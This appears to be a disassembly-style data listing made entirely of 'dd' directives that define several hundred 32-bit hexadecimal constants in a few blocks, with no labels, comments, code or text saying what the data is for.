dd 6B04EF3Ch, 8D053C4Ch, 61384689h, 0AD6C509Bh, 40A508DDh
dd 65029A18h, 0F7656127h, 0B2FEE591h, 655C5A0Eh, 0C54CA8DBh
dd 8B6FC140h, 37C1AB40h, 0D78B5702h, 230307DEh, 630A3B54h
dd 8FE48B9Bh, 0A93A0766h, 977C278Eh, 0AF793308h, 8D6E0EE8h
dd 2C2E207Eh, 2D29D6E6h, 0D64134E2h, 3E9EA516h, 146AF5D7h
dd 0C9EBBD4Dh, 20914287h, 77F7944Ah, 0BB4ADB11h, 6EF8C5B0h
dd 0CDA2970Dh, 5B935B56h, 77F40476h, 0F7E18AD6h, 195634F5h
dd 68722509h, 0AD5E786Dh, 0D59FD2D6h, 0ECE3E2E2h, 0C2BC4D9h
dd 0AADB10F8h, 93332B6Ch, 0A57C0FFDh, 3D8ED90Bh, 0D450C387h
dd 0E64ED8A0h, 0D0C3CA26h, 0E9AC5873h, 2F17623Ch, 8221F9FAh
dd 0BF2445CEh, 127FD8C2h, 0C7E7E7D6h, 555D270Ah, 2A6EC705h
dd 9077A7F8h, 6F2316C1h, 6309B15Bh, 9C9E263Ch, 4C52138Ch
dd 0D1970CE9h, 53A4E7A9h, 490C9F2Ch, 0AE27988Dh, 6B449DB7h
dd 0FF31769Ch, 0B67B1C7Eh, 5826F1D1h, 5A58C8FBh, 0D4D1AA3Eh
dd 0EC0C5B1Ch, 27BF18CCh, 0EFEBB441h, 0BC49E667h, 3EF7C3A0h
dd 5256D844h, 0C11E84BEh, 0B74BA9A9h, 9929A1D0h, 7E094D0Eh
dd 55036E54h, 0D831F3AEh, 0D8A0DE4Bh, 4C3D9CB6h, 99D6E7B9h
dd 0B8C9B583h, 0E7E5A96Ah, 6776D517h, 0BD2BED83h, 0AAD1CC38h
dd 4731BCC3h, 94A1DE0Ah, 22831FEBh, 0AB427797h, 59183220h
dd 0B099AD85h, 0A9D31E5Bh, 0FFC87ACCh, 0A684996Eh, 7E6FF41Dh
dd 6A06EF95h, 87944D5Eh, 4C79FFC2h, 3070C255h, 5A933FB0h
dd 0F4CECFE3h, 2437E725h, 2AE3AC3h, 857BCEAFh, 0E24ED45Dh
dd 0C7FF9C9Bh, 0ABC87499h, 31D8BB1Ch, 92C21E49h, 71D79B03h
dd 1DB336AEh, 0FAE60E79h, 0EDCC2398h, 0F4EC3AADh, 87B7A47Fh
dd 570E7E9Eh, 3F9B8726h, 0E9E85F27h, 0FDA9EC8Dh, 91FFC13Ch
dd 57F4F421h, 0DB58CFAAh, 4350896h, 5C0C521Fh, 0BD568543h
dd 0FDF9658Ch, 27042C15h, 3D98759Bh, 0FD9E916h, 0A099814Fh
dd 2C0ADDFh, 9F99D667h, 7AAD0BAAh, 7435125h, 3A24E056h
dd 4AD42105h, 4FCCE25Eh, 0B72A86D5h, 77D6DF23h, 8CB1FE99h
dd 0C08244A9h, 0BA09466h, 0CA53A35Ch, 1E2B8CF8h, 8D5DA159h
dd 264B07A0h, 0B75AAB4Ah, 14E752D0h, 1EE44D2Fh, 0EF289A29h
dd 64FEF8B6h, 0FEEEC4F3h, 99C75F80h, 0AC99CF5Ch, 0A2B93355h
dd 933F264Fh, 99ABA499h, 7DCBCDF0h, 4FC0993Dh, 94A2DDFDh
dd 76ACE1EDh, 77A9D6AFh, 9DEAC82Eh, 1EF7809h, 549F9C6Ah
dd 92550110h, 754EF663h, 0D5A6DFC6h, 5E2EC129h, 0D73209Fh
dd 0CF99BB31h, 3F9B1CA6h, 58CBAFD1h, 13E511EBh, 155E101Dh
dd 15180492h, 0B838E5C5h, 396AE59Ch, 7DD098BFh, 833F73A7h
dd 67FEF92Bh, 52405402h, 0C9392516h, 0B8D78AE6h, 77C16AB5h
dd 0EF2F05A8h, 5A97F055h, 0E2975FC1h, 0A3E281F3h, 865893AFh
dd 0A09474EFh, 7CF8A5E3h, 7BE7E547h, 9371879Eh, 2961F38Ch
dd 9DCD01F7h, 0B0EA4F3Dh, 0A381777Eh, 7A8B2F9Fh, 0AA2CBC7Fh
dd 0AD28BBB4h, 47764F0Dh, 0ABB73196h, 0C7765731h, 171FEC0Ch
dd 8CDFEB1Dh, 5E24E99Ah, 1E2B23E6h, 0BFCFDCAEh, 78B2894Dh
dd 0A4FB99E4h, 4314BD4Eh, 978E14BFh, 1EA1603Dh, 6EEB2EF0h
dd 416A5DFDh, 6FAD5EFEh, 0E46F5AD1h, 2D909FD6h, 0B46BFB3Bh
dd 7B6F01BEh, 5659CD7Eh, 9AAA1AD9h, 0FF185AA8h, 5AFF70ABh
dd 96DB54D5h, 848C2B50h, 1FD424C8h, 5F2A2531h, 0A57E6D03h
dd 9D5C337Fh, 0A51FF37Fh, 866C82F3h, 68623E5Fh, 0E0EB55E9h
dd 7F7A9D2Ah, 186F5A87h, 3FD6ABD7h, 53F5AEE9h, 2BAD64E3h
dd 3DFAD57Ah, 0A377D6ADh, 97DEABA2h, 6B95BEB5h, 374106FDh
dd 837EB56Ah, 6B4B5D6Bh, 66E7AC99h, 0D416E7AEh, 0E6FF72F3h
dd 9B82B22Dh, 642B0565h, 35E3DF05h, 0F1F6704Dh, 904BA95Fh
dd 3DB23E60h, 0B4A0C62h, 14AA3AF4h, 5E957CEFh, 0F0817E7Eh
dd 0D22AC647h, 3111D057h, 0BEFD3886h, 7F13415Fh, 8E459A87h
dd 0D0F5C3ADh, 22156571h, 75CB3205h, 3BD54BD1h, 50D7CDC5h
dd 0E2019B6Eh, 0AD41DADDh, 0D2BFE571h, 5FCE66D8h, 979E0C61h
dd 1E45F063h, 36C91F83h, 330E2017h, 0FF93C961h, 1CB5502Bh
dd 0BF1A7914h, 0F99F58B4h, 0A43BDFBBh, 1A2FCF04h, 0A289712Ah
dd 8C0F092Fh, 6F37FB26h, 0E0B165E2h, 0EE764A6Dh, 0B6FEE451h
dd 9C2FFDCCh, 619951FBh, 3A7851FCh, 0F66BE7A5h, 0FF3D2A7Ch
dd 0DBAB547Ch, 0CE5147EEh, 0DA8F5438h, 1E184B49h, 0C5DAE35Ch
dd 0B7911C5Bh, 0BCB682Bh, 9973F89Ch, 0DA7B2D78h, 0CEE947A5h
dd 7B47C1E9h, 0A25B72B5h
dd 0FF71FE86h, 997C4202h, 0D6B4CD13h, 1FA43036h, 0F43637C3h
dd 8E973EEDh, 0F80A0E90h, 0AF792F5Fh, 25F7BABDh, 0B1AB98EFh
dd 0B3E176A3h, 9DBC4ED2h, 47A8E847h, 0F836267Bh, 35F48934h
dd 0B6289FA3h, 0D5CD81EDh, 70753A89h, 846CC074h, 542C62F8h
dd 1CCDF2A6h, 5C399CA1h, 7651E51Ah, 0DE5968BBh, 4EBFC677h
dd 94C56551h, 19DF11A7h, 1C295636h, 494DD65Fh, 239FCF29h
dd 82DABABh, 8B3FD1E9h, 0ED8E5EFFh, 0D8122971h, 98E5DCC5h
dd 0B9D4CB3Bh, 347284B3h, 64864CEFh, 0EB9B0AB3h, 1E50343Eh
dd 0EC2564CBh, 2CCA1662h, 5A56D130h, 85BC0E28h, 9D5B5697h
dd 0ECEA3262h, 4E8AFB2Fh, 0E0B3F6E5h, 1188B44Ah, 0EE91B163h
dd 0BBB09711h, 0F7640C49h, 8B1848A0h, 0A95F7487h, 0ECE83FCAh
dd 0E23E9FEAh, 0B7AE2271h, 9E437DE9h, 54602407h, 91963FC9h
dd 65D901AAh, 0B640643Fh, 248F7DBCh, 880FC38Ch, 510A6470h
dd 5A07FE65h, 0EB933129h, 37E9521Bh, 799AB4C4h, 71603B07h
dd 354124FDh, 860A1B19h, 86484864h, 19E16704h, 97859EAFh
dd 3A28F645h, 5798BBDBh, 5CB60A1Dh, 0BE1CAA80h, 0BB577819h
dd 2E82D019h, 176904F6h, 4E078153h, 1C2F02E8h, 9ADF20BDh
dd 6081DAB1h, 16B63B33h, 584CA536h, 72D4BF79h, 0CE323A51h
dd 0FE586651h, 374F0CE2h, 0AE6E1356h, 6E87180h, 81BEAB5Bh
dd 6AF5282Fh, 2A9B854Ah, 0C23FA3Eh, 3AEB218Eh, 2DA87501h
dd 0FD632DDAh, 8755B09Bh, 734DACFCh, 0FA3FC8D4h, 2C03220Bh
dd 944E0A51h, 0D7984384h, 0D7CFC21Ah, 0F7A0E1B3h, 0F14916BCh
dd 444600B3h, 80853F86h, 0BE1AF092h, 51B855B2h, 8E32E0E1h
dd 0FCB1DF8Ch, 2AE38A42h, 78D79661h, 2B85D38Ah, 100994EEh
dd 45A8EA89h, 289DFF99h, 0DDCDFA50h, 6D5CB6E0h, 0D795E350h
dd 0F3EE8B31h, 5D466C2Dh, 0D75B9676h, 184DF83Fh, 0E7408C36h
dd 2BFB7CB8h, 0E9F032CAh, 7CD17B02h, 1B826FBDh, 0B7E21FD2h
dd 9DAA4276h, 985E9DF8h, 8566DB5Ah, 49272180h, 0AF770DF0h
dd 0D2589F20h, 18C5092Bh, 0C40ED462h, 61897E4Fh, 3BC79F43h
dd 991D3DDCh, 0E637D4DFh, 97C74467h, 89381E04h, 18ADD8A7h
dd 5AF42758h, 8FAE88EFh, 0AD90F1E2h, 0D3788655h, 384F7E55h
dd 246B94B8h, 0B5D7221Dh, 0F1A50794h, 0D24EC25Ah, 375B0F77h
dd 235C4C5Bh, 0C2D60AEFh, 240C41A1h, 5A043BB4h, 0D9A5AA8Dh
dd 75EA373Dh, 320A28EAh, 0A7356CA7h, 0FE3F2A20h, 82CE1ADAh
dd 0AB15AAD3h, 0AC0AE06Eh, 0D5B00AE6h, 0BC69129Eh, 0AE2364A7h
dd 2FB72530h, 0C723F61Bh, 0C9A36CA6h, 485C18D5h, 0F5D6B081h
dd 682885Ch, 0C02377B1h, 50AD3A12h, 1665F316h, 2B446CECh
dd 76D58C31h, 0F1AFE3BBh, 0A7459040h, 69FD69B4h, 0C3D86FA7h
dd 95FDEC83h, 3E0CD93Fh, 0F272FCADh, 927997BEh, 14B7C0BBh
dd 0F3281C4Dh, 6D6D1594h, 54012B91h, 52C2EC6Eh, 0C0F2B251h
dd 171F03D4h, 0FD91F59Ah, 1B3236Ch, 4D6A819Ah, 0D6A07A4Ah
dd 0FC78E8A2h, 0DF8C7F96h, 0CE81F589h, 0F2C9BE51h, 8EB1974Bh
dd 906CD42Bh, 7811D75Ah, 1DC50DFDh, 0EE297A83h, 4556BF50h
dd 28CDAF54h, 4C0D86FFh, 0E66EF6D8h, 6361EEA4h, 0FC1A9196h
dd 0DE8DF5CCh, 0B369F1Fh, 4918B4AFh, 9C6ED295h, 0F99EF85Dh
dd 0B96CE0A1h, 65E6CD4Ch, 4FAD37CAh, 0D0BEC7A6h, 1F291D32h
dd 0D3744AD2h, 0AB1E6D46h, 0CC186C85h, 0CC866743h, 0E2BA866Ah
dd 2AD3A07Dh, 0A167E55Ch, 8CBE60AFh, 962EAF90h, 0CC11DDE5h
dd 0A443FC3Bh, 0B69A45DCh, 0EEDBF040h, 898224E0h, 0EDC08F92h
dd 0A3983B5Eh, 5BBE41CAh, 35576D5h, 0A2DEF717h, 0B2616145h
dd 82CF5E60h, 3F06D723h, 99CB5D73h, 0DEA1CAEBh, 0DA5D3ED4h
dd 0B20D9B5Dh, 16D5A336h, 0ED5F794Fh, 1EFFDF08h, 0BDAD4EFFh
dd 0D9BDB91Bh, 0DCD9BDB2h, 12E4EF5Eh, 0A3435FB6h, 9DF80B37h
dd 46771134h, 95D6E600h, 0EFD3E90Dh, 8B004FBFh, 7D9FB5A6h
dd 0CBC8C2C2h, 0CDE1C3E0h, 0EAE2CDE6h, 0D4225C76h, 0E15D1B5Ah
dd 0CC70F924h, 0E1CDAD69h, 0E65264F7h, 7CC95C35h, 0D64964Bh
dd 0D7A9B0B3h, 8309BEA4h, 94318B2Eh, 0D1223BE8h, 0B2EBE089h
dd 15B6C211h, 5A766710h, 90AD35E3h, 890E5683h, 7A2CDCB7h
dd 7E6AECBEh, 27B37D4Fh, 6A11AF1Eh, 341976D0h, 855D065Fh
dd 0F41A98A0h, 96CA0C8Ch, 591AB041h, 0AD06A9D3h, 32E94190h
dd 0C59F8BE8h, 3A5DCEE3h, 0FC3FC3BCh, 0D409C853h, 756B73BBh
dd 48C1F116h, 0BEBFBDAh, 1AC49E9Dh, 0E2FEFBCh, 0A1E7897Ch
dd 1EF6945Dh, 0D58A69DFh, 0BD47985Bh, 8A6D6835h, 5BE0A5C7h
dd 0E8C354BAh, 16EF2933h, 0C53A8B86h, 0BA30F587h, 0EFE44A04h
dd 0F1994AAAh, 4E0D5498h, 0C6EE3A65h, 7DD6A279h, 0B9BDC169h
dd 8EA34BC0h, 484BB5ABh, 406CC898h, 97B6DE92h, 0E4252720h
dd 72202B26h, 9E8B45BDh, 88533D66h, 4F3A3B37h, 80C7A142h
dd 0EEF93B37h, 0E9E357B5h, 69DBBF11h, 0C38F9C09h, 50A9944Ch
dd 1B17694Dh, 448BD432h, 43E23AF6h, 90EA8371h, 835476EFh
dd 0B79CB886h, 0EB265509h, 29D45298h, 0E22F464Dh, 0F24D796Ah
dd 10D46D05h, 0F27937A8h, 0CF3FB50Bh, 528EE2D5h, 0F0ED4C26h
dd 5A850652h, 0EFEA9A5h, 50B158CFh, 7837160Bh, 4437E6F9h
dd 7E1F1515h, 0B4FE8B86h, 5ACC0178h, 6C0B1FC4h, 7DF317D3h
dd 590CF32Fh, 6C5EBAC5h, 0F3BEA36Ch, 1E5C5A66h, 0BCF7217Dh
dd 0D45BCCFAh, 0FCDD4DBEh, 25397EC4h, 216C2B06h, 0BBE2B68Fh
dd 0BCAC56E5h, 0B04FF225h, 53CB2F40h, 36D1F156h, 0E535E0CFh
dd 798D7A25h, 95C83E49h, 97086158h, 47AC3B6Fh, 0A666E7B2h
dd 741D77A8h, 0EEEB8844h, 71F8F0A5h, 5E423ADCh, 72981617h
dd 0E92478DFh, 477E3A0Eh, 3D3F664Fh, 0F1144599h, 2C8635EBh
dd 7936A451h, 8DAD4E0Fh, 2EF4711Eh, 69DD050Ch, 14BE4BC5h
dd 0F5ECE8EFh, 0D48CEF88h, 7B5A3270h, 3164C259h, 0E8D0910Dh
dd 3255E8E2h, 3B977D8h, 5BCE06E8h, 45247E2Fh, 1C42939Bh
dd 0AAF52CC8h, 0EE646FFh, 0FA6DF1EBh, 26F6DE9Bh, 7A35BFFBh
dd 9E72CBA9h, 67C45701h, 4C0679C9h, 0FB299F02h, 84578C19h
dd 833CE494h, 0DC6C2C83h, 873EF33Ch, 55E33CE5h, 17E954C3h
dd 17E9493h, 68E25546h, 4E594A34h, 0DDC58430h, 1485CAEFh
dd 0C6A8160Fh, 0E52BBCB7h, 2CA48Ah, 0E3D6266Dh, 14A29CAEh
dd 891EF797h, 9762DCF4h, 4C710F5Ah, 0D731EACh, 0F9252015h
dd 1E8D13BAh, 0C000EFC1h, 6BB4C7Fh, 478348B7h, 2D0A31B0h
dd 6A5C3E3Ch, 705E90FFh, 0E8D15793h, 0BAD45576h, 45D9457Ch
dd 0DC515096h, 38B1E057h, 598F3FB4h, 458F29BCh, 53231576h
dd 899EEC3Ah, 43563E2h, 907EECB9h, 0CA8E9E87h, 0F09F2514h
dd 544693D0h, 4DC4D33Ch, 0C3FD13B7h, 10F050F6h, 0F93101CCh
dd 684D2714h, 0E43874B1h, 5F37FC2Fh, 339F2E5h, 0F77C039Dh
dd 55F50A46h, 780E2B03h, 2F7BA0F3h, 4C85AF15h, 81039AE6h
dd 0DA7429B6h, 301F773Fh, 89C62A25h, 96B74407h, 9B9FF18Eh
dd 8CE5D8F9h, 33EEB1B9h, 3F73A0E3h, 6B58D68Ah, 651F7773h
dd 0E8DABD21h, 421C4F28h, 0AA748B77h, 0BE7D773Ah, 406E40F5h
dd 0D555D686h, 29376B15h, 0D5568B52h, 3EC2950h, 0F9ACFD4Dh
dd 43FA3A12h, 9655414Fh, 0DDA616E7h, 8BFEE6A5h, 3E7A658Ch
dd 77E34BEEh, 0F479F08Dh, 16CFB4BDh, 3067F78Ah, 0B6A2A983h
dd 66F79178h, 4EF11618h, 9B05B00Ch, 0E22948EEh, 91D67491h
dd 45B3672Bh, 399D34FCh
dd 51F4DB5Fh, 0A1117933h, 1D7A1FE2h, 22F42DE6h, 95364F68h
dd 0BD967853h, 0DCE1DEA8h, 0A85B4987h, 5EAAF5BCh, 0F16F63Ch
dd 0EB55B9E7h, 4A49E4BFh, 708E7158h, 0F78F3FEh, 0A1EF1E7Dh
dd 86F927CFh, 819037A9h, 751D3C4Dh, 0FC18CDFEh, 697A0C52h
dd 8750D30Bh, 39D8A5C4h, 6AA9C298h, 0A998DF11h, 178BEA5Fh
dd 34CB17C8h, 4680E437h, 2EAAF025h, 8143C50Ch, 87E3B8A6h
dd 0EBC3E424h, 266FF1C7h, 3E7B8AFDh, 39738BE1h, 7A795D89h
dd 330A6DDFh, 27222099h, 3FE9A66Bh, 25F99855h, 7AF89D33h
dd 77665578h, 670E686h, 3D6246Eh, 67A21B6Eh, 0FCB709FDh
dd 7270D91Fh, 6C55CEF3h, 430DF236h, 9ABD6E5Dh, 0E219A457h
dd 19E4AF5Fh, 21BF15CCh, 5CD12F28h, 0F24DC0A1h, 652F2FDDh
dd 45793BCDh, 18B36BACh, 8566149Ah, 52749D29h, 47225709h
dd 67F95659h, 35C275D8h, 0CA7A92E3h, 0A5E0EF35h, 9288D0C8h
dd 496519D0h, 2770F5E1h, 0C55E11BEh, 43469F35h, 6B48CF20h
dd 5CD40FE5h, 2AD464F6h, 58EF350Bh, 607B9935h, 5AB1775Ch
dd 0DE9AD944h, 0DF70E465h, 61CCAF78h, 9484779Fh, 2FADCE7Dh
dd 99DE641Dh, 0B726020Ah, 66912CA9h, 93E654BAh, 9BCB1EB3h
dd 0C8BB2D37h, 0D7D333E4h, 993FE3FFh, 0ECB0E48Eh, 310F38A2h
dd 5386065Fh, 0A3783FC6h, 1EBD9E1Ah, 0D1AF693Ch, 22268FA3h
dd 11810396h, 0F59CC0Ah, 17B17776h, 0CEF7E4D9h, 58A5E466h
dd 79B25303h, 62D57A6Ch, 0FAD0C951h, 25F8A849h, 79EB3925h
dd 401D25h, 0F5EF5256h, 0CEEF10Eh, 0E02A8EBDh, 0ADCD8DF2h
dd 46515EF7h, 1610E92Bh, 5FADCC9Ah, 0F23D9291h, 39C8E412h
dd 0F225435h, 48C0BABDh, 6E8F4439h, 177171EAh, 0E6F8324Bh
dd 83ADFC28h, 14A3A5B5h, 3C1081Eh, 0EB72D22Bh, 71D0B31Eh
dd 0D12E9C42h, 4DE7EAF3h, 852F58B8h, 68DE29CEh, 39FA0765h
dd 0D0C56678h, 880DB959h, 746F17A8h, 8F557C47h, 3A6D756Bh
dd 0EA0E6150h, 977EF14Bh, 919E47A4h, 0BE5AF92Bh, 0AB07342Bh
dd 601EF874h, 81977AA7h, 9A107A66h, 642FF9EBh, 0F92C8BBh
dd 8D52870Eh, 51278770h, 4A17B14h, 55899DCEh, 609FA3F4h
dd 0E5A2CD15h, 8B7EABC3h, 38CC748Bh, 0E1ABAE24h, 5D4590AFh
dd 48409BE3h, 8E4204DFh, 368FA460h, 0BD8E7042h, 8C8CD197h
dd 413E11A6h, 5FA393E2h, 289A7C42h, 57487E2Ch, 0ECEE5CBEh
dd 0D7D9DCC3h, 0B7615CB0h, 8E231ED1h, 0A95AD62Dh, 0C7053DA6h
dd 0E0767E23h, 8936B9AFh, 31C1F755h, 55C32F07h, 36ED3CAFh
dd 47A4ED0h, 0FF996716h, 75F3BBFh, 587DD4D9h, 3897BD46h
dd 0CDB0389Ch, 0FA7E6347h, 0BC096F11h, 7E76CBCh, 0FE49DE77h
dd 1A377C1Ah, 5FBBD479h, 0B77A88FCh, 0C5C906D1h, 0D93EDB78h
dd 0B567BF85h, 1B6D5DE0h, 40F12571h, 0F7BE5027h, 0EE1F0E98h
dd 0F7A92960h, 73A8E620h, 490140CFh, 69E500B2h, 47837FB0h
dd 6BFAB7BCh, 0CDEC1F98h, 23FCAAAEh, 2ACED4Bh, 0D6523847h
dd 0C8C98219h, 874C13CAh, 0FB8DEEEBh, 0C473EC3Ah, 0E5EA77EBh
dd 0A122CD52h, 0BA6DFDACh, 0CBD986BFh, 85CF54DEh, 4EB639F9h
dd 0A6E225Fh, 595251AEh, 7780EA16h, 5235898h, 14D55265h
dd 0E1F43590h, 5F898F11h, 8A4975D2h, 4748121Fh, 0FC6B9F39h
dd 4DDD035h, 6FAE052Ah, 0D62FC8B0h, 0D79542EBh, 5921A791h
dd 0B140C55Fh, 4EE6FC14h, 35BB3687h, 0CC25D9ACh, 1B851B26h
dd 672BE1FAh, 0EE74EA67h, 8880D74Dh, 0E787A708h, 4218851Bh
dd 7B2AC69Bh, 0AD287412h, 959D2D5Ah, 5468C0ECh, 822CE563h
dd 3C4B1A61h, 940C778Dh, 0A2170E19h, 3FE13C9Dh, 6C038CB0h
dd 7CA8F71Ah, 66EE1477h, 74CABA35h, 0D1A6C2BCh, 0D2B5B20Dh
dd 0F8BA7102h, 3366FF31h, 40387B34h, 0C5A5451h, 4270A38Ch
dd 2087991Bh, 186E4E15h, 0EE6AEDA2h, 0C2422652h, 44225443h
dd 350AFF86h, 1A053FDEh, 0FD2C4CE6h, 72F768C7h, 765EEB8Ah
dd 0ADECA80Dh, 6E80D3EAh, 8ECD5E69h, 0DF93D38Eh, 8DDBD84Fh
dd 80BB5530h, 0D1F6C814h, 5B1B6931h, 8D662AC1h, 64431Ah
dd 0EB3B578Fh, 0DAA039D6h, 0B4CD2AB3h, 0D5B21678h, 0AAD7D8ACh
dd 0B221B70Ch, 0B0ECAF5Ch, 0A4962C50h, 6F333A9Bh, 48525B22h
dd 7FDC7A98h, 28EF04F3h, 812F6167h, 1AB74B6Fh, 4BBE576Ah
dd 560F4589h, 0EFAFABD5h, 22C2B235h, 4A89EFF5h, 57307416h
dd 21426E40h, 0BFD54AFFh, 6223DF54h, 18284B7Ch, 0AA765AD3h
dd 70026547h, 0EED782ACh, 0A68D735Eh, 17BFC0FDh, 0EB5EA868h
dd 0A93BB1D1h, 42764658h, 16D8410Dh, 0F92DFD63h, 2E88A804h
dd 22A5D10Dh, 8744343Ah, 0C5A51803h, 0F2EE3C15h, 3A736FEAh
dd 0AE9D3C8h, 0BB73C9C6h, 28DC13CCh, 0D8C5D909h, 0DAE850A5h
dd 6943A2E9h, 0F449EB12h, 0D9A2E275h, 0B205C66Bh, 982E2969h
dd 0C926972Bh, 97640119h, 4673FD38h, 764632Eh, 0FBC43B23h
dd 4AC5E912h, 0EA9BDC7Bh, 8890FF10h, 17C440E5h, 629D5378h
dd 1294C4B7h, 5B80FDC6h, 0F27F716Fh, 16FCFD30h, 0E7E0773Fh
dd 0E7E887BDh, 7B51FA29h, 2F4D7FC9h, 6A31E931h, 5B5ED57Dh
dd 7BEA43C9h, 0B32422B4h, 93FF542Ch, 71FBB1B4h, 0B04A8671h
dd 9302953Bh, 2F9B48C7h, 0CA05C45h, 54A9BC31h, 5D6884E3h
dd 0BE5D6A5Eh, 0D798F72Ch, 0DC4CB9ECh, 9287A793h, 80736B5h
dd 20D52185h, 0E66F0C0Ch, 0C5E78736h, 87A605C2h, 0EDD79412h
dd 5860F262h, 0A54EBFEh, 0DB9C1C62h, 90FFDD44h, 1D005C21h
dd 61FA36E4h, 0F2316E21h, 12277E3Eh, 0E7A899B6h, 4B4EE25Fh
dd 0D8A9BE88h, 0D9BE162h, 5431EE9Dh, 0A30AF0A5h, 68D2B372h
dd 0EA98AF38h, 1F0212DAh, 0E6ABC21Ah, 4BE409A3h, 4CB3EBE4h
dd 0BECC97D5h, 0C06FAAB1h, 0BFECC399h, 540FF542h, 0FEAA57FDh
dd 5ABBEC41h, 6FB0A5F5h, 654BEAA4h, 6FAA35DFh, 0A9C6FB30h
dd 0C6FB333Eh, 13ABA7C3h, 0A1F53243h, 24F009CAh, 2B87CE1Bh
dd 19A1BBF3h, 90EB641Ah, 0A4644C4Eh, 97446D4Ah, 9A0EE43h
dd 2076C3B6h, 52077C56h, 0AA42CF89h, 407DAF5h, 74D03F91h
dd 0A7334B85h, 458C53D8h, 918040BDh, 355E125Ah, 27050117h
dd 0ABC5D8E7h, 0A5C6D0C5h, 2B864ED8h, 0FBB3E0F1h, 6D49C885h
dd 33D27D6Ah, 0DFB380B5h, 4923562Bh, 0CC8DEA8Bh, 0F78BB14Ch
dd 9EE9F853h, 7505E144h, 417C8A5Dh, 0B4C451CDh, 1140F97Bh
dd 0ABAAC4AEh, 7ADBDD62h, 53279F06h, 0D5514CCCh, 0DEE305C7h
dd 31F3534h, 567D472Ch, 0A2358542h, 349A9149h, 0E2085F23h
dd 310EAECh, 5BFE16A9h, 0BA7A6932h, 0A442E8E8h, 829E4846h
dd 87EB23D3h, 0E98A0862h, 0E1DDA594h, 58C894D4h, 0AE1B3522h
dd 0FD8AF56h, 34B4E22Dh, 1BA4B583h, 8EF08768h, 773E548Ah
dd 1311EE35h, 0F4F55490h, 45C92064h, 36E18D73h, 4346641Ah
dd 6223B44Bh, 10EED2FBh, 0BC81178Bh, 0A1D2FA2Ch, 83158A74h
dd 0DC0E7412h, 1449628Bh, 0F3B8419Eh, 9B497DB1h, 0CC33A1A5h
dd 6EAB006Fh, 7B7EDFD7h, 0D7168B05h, 8D934A46h, 0D8612FD1h
dd 2E2629C4h, 6A15B3C2h, 0CC514E4Dh, 75170AE5h, 0EADA8DF0h
dd 0A51AF1ABh, 0E58335F4h, 0ED889291h, 3BB3BE5Bh, 705DA455h
dd 7F2E26E5h, 7C07E60Dh, 8A724AD3h, 3AE47DBEh, 6FB2CEF3h
dd 99157F0Fh, 5D824B71h, 8130337Ch, 6BF5CEF6h, 0A68BE6AEh
dd 0BABA81B0h, 318BC1Dh, 9903726Eh, 0AA30A9CBh, 5B7AB7D9h
dd 938A2A97h, 0FA1E5288h, 52836A1Dh, 59045F7Eh, 57BA18DAh
dd 0EEDACCABh, 6A7AB8CAh
dd 55BFFF73h, 0DACA9F9Bh, 6B4FFBACh, 0DF018443h, 3E0F3120h
dd 0F424D33Ch, 3E2EBD66h, 0BD5C1AB4h, 0F80C3CCAh, 0CA59FBB4h
dd 32B1A52Ch, 6B752494h, 0FD09C745h, 0D891BD83h, 8A97A382h
dd 0A0731966h, 89873244h, 68D2932Dh, 6D7FF9C3h, 4530C5EFh
dd 0B70EED22h, 0A9A375Eh, 76CA8EDCh, 0EF79EE6h, 0A71B4A75h
dd 6AAAC94Eh, 0A50ABCA8h, 0D4FCD6D2h, 6C14900h, 0E2D3A7B5h
dd 740901E1h, 779708Ah, 51E24D28h, 0E12D3B6Ch, 6EC6ACF5h
dd 7C639CA8h, 0BA4FE64h, 4286387h, 0FE647DEDh, 2F6302E4h
dd 793CCCF4h, 999275A7h, 7AFDA265h, 4904F9Eh, 947C4194h
dd 69C940E6h, 1A4BD5E7h, 482D51A7h, 7D0F966Eh, 0BE87CB37h
dd 0D7D0FC95h, 81E3C4AFh, 80644BCDh, 2DB0065Bh, 64E7B452h
dd 0D3F511Dh, 0BBFDEA8Bh, 295698D2h, 1033E387h, 82878BB1h
dd 3F17FE1Fh, 3A7EEC14h, 0F42E1CA4h, 0ADAD8DFFh, 61495E45h
dd 0E99FD745h, 0E41203FEh, 0C1582595h, 0B5510A98h, 976B5C30h
dd 0AFBA8644h, 3A167866h, 0BE39587Bh, 0FA41F754h, 62514E5Ah
dd 0F469D04Ah, 0A2ECA30Ah, 2ACBD4C0h, 6E85D747h, 7A171CABh
dd 0F7B1133Ah, 0D9235D35h, 6A341740h, 0D3DEE9C1h, 91ED5043h
dd 36C0B935h, 0F0991782h, 5838AE06h, 24BE312Bh, 0E285DAB5h
dd 9ED664D3h, 0D548B0D4h, 54699132h, 7644EED5h, 0DF04EE82h
dd 432F6578h, 39E3D685h, 554C6A74h, 0A030C09Eh, 0E4CDA863h
dd 0A4BB471Dh, 6D9EBDB8h, 12872909h, 0D498B097h, 2FF3455Ah
dd 0C1487F64h, 2E89D2FDh, 0F1ECEBB5h, 0BFBBD9Dh, 7DDD8778h
dd 95F31C62h, 0B8B44607h, 1F6A859Eh, 0D0A30BAh, 0EEFAF9A1h
dd 0EE324DB8h, 653954FBh, 933C461Ah, 0BBAB520Bh, 1DE5FF6Ah
dd 15AC049Eh, 85B449FEh, 2A535552h, 0B895E7F1h, 90A27A88h
dd 0C742502Ah, 0F88764F0h, 0B1A51D3h, 8295BC14h, 15F15C65h
dd 0B80BC245h, 0FD04BF9Fh, 321FE530h, 0E658599Fh, 55E38AA8h
dd 0AC3BF33Eh, 114FA9F3h, 0EDC4501Bh, 0C2FFEA6Ah, 75927AC0h
dd 1961EA39h, 0A625637Ah, 778C7518h, 543C9538h, 38CD6BCDh
dd 0C4987A7Eh, 0FD463246h, 3951A53Bh, 7D753D15h, 8DA59157h
dd 49FF6944h, 0EBA8BD5Dh, 0ACD4D5EFh, 493FF9EBh, 8BA918BDh
dd 0B9CCEE14h, 0B4BD33B2h, 4352D664h, 36D827D5h, 9AFEFA93h
dd 0AE3F9A33h, 9A2237Fh, 567B870Eh, 182C434Fh, 99F84F35h
dd 524BE177h, 27D32DEDh, 9BEFDF3Fh, 8D5DD102h, 9DE3543Ch
dd 7870602Ah, 0C5762712h, 0DEF45BE3h, 85EBEA61h, 0BFD93D29h
dd 0D3E2914Ch, 0B1195B70h, 0D0CEF6B5h, 5B9DDAD6h, 710B7226h
dd 8C470B44h, 931889F5h, 5A2282D3h, 0AA2C00E4h, 1CB19542h
dd 0C9B602C3h, 3E1236E1h, 62EC397Ah, 0A68BA793h, 0A0707462h
dd 25F0E0D3h, 0D1E1DBBBh, 0D7ADDC3Bh, 4A174BC8h, 1804F559h
dd 9F290E35h, 3FDE3EADh, 0A5BA7CAh, 28C3FECCh, 62890350h
